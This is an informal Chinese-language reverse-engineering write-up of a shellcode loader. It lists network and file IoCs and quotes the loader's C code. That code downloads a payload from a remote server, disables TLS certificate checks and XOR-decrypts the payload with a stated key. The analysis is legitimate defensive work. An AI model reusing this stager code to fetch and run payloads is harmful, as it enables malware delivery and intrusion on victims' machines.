
Analysis for stage1 shellcode loader from hacking
代码流程图
网络 IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
感染 IoC(释放的文件)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
好,这到底是什么鬼。开搞。Loader.sln 或 loader.c
好的,启动过程,从启动到汇编代码?汇编里做了什么?pic(位置无关代码)shellcode。酷。这又有什么用?基本上会调用 Loader(0xdeadbeef)。为啥?不知道他们为什么选那个地址,但那个地址应该是解包后的代码。不管怎样,继续看调试器里发生了什么。更正:我们调用的是 Loader(eax),eax 是一个包含 .dat 文件的 IP 地址!.png)
现在顺着流程进入 loader

现在我们暂时跳过 LoadVtable,因为它庞大而独特,等分析完其余功能后再回头处理。现在检查 DownloadAndDecryptTls。
DownloadAndDecryptTls

调试过程中注意到一个巧妙的地方。
如上图和以下代码片段所示
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
可以看到 lpLoaderConfig 是动态获取的。但从哪里获取?看起来它下载了或内部使用了那个 .dat 文件?而这个 .dat 文件又是什么。检查一下归档文件
我们看到另一个很酷的文件 shellcode_0x95d。在 HxD 中检查
你会看到一堆 API 调用和那个 URL。所以基本上这就是实际的 shellcode :) 太棒了,我们稍后回来分析它。
现在先记下 XOR 密钥是 0x6281f17f。接下来简要分析到关键点 ValidateCa。在此之前这个函数里没什么特别的事,最有趣的是对 InternetOpenA 的调用,它初始化了网络相关的 DLL。动态检查它应该能发现一个技巧。他们在 C 代码中这样实现:
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
这比 API 少了一个参数。总之不多说了,看看代码里发生了什么。
在调试器中看起来是这样
我猜这里是因为使用了 INTERNET_OPEN_TYPE_PRECONFIG,所以它用了预配置的结构,而 lptable 里已经包含了 URL。
接下来是 ValidateCA
总之我们为什么要做这个?因为它简单地决定了是使用 https 还是 http
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
然后我们做一个简单的 GET 请求,并从 http 下载文件。这里没什么特别的。如果你想知道这段代码有没有什么特殊之处,我想没有,网上应该能找到如何实现它的示例。DownloadFile 函数如何下载文件?使用 InternetReadFileExA。
所以代码是这样的
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* 关闭句柄 */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
现在检查解密部分,看看是否会进入解密函数。根据我在实验中的假设,bXored 应该为真,所以我们应该进入解密函数。不幸的是,我们的假设错了,因为
.png)
lpTable->fpHttpSendRequest 在 id 中被使用,而不是 bXored,而且由于服务器已宕机
我们无法向恶意服务器发送请求。现在我可以使用 frida 模拟一个服务器,但何必呢,因为我们已经有 payload 了。现在只需要反汇编它,判断是否加密。解密函数看起来像这样
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
这是一个双密钥 XOR,dwXorKey 是 0x6281f17f。
现在回到 Loader 函数,解决加载器的最后一部分。
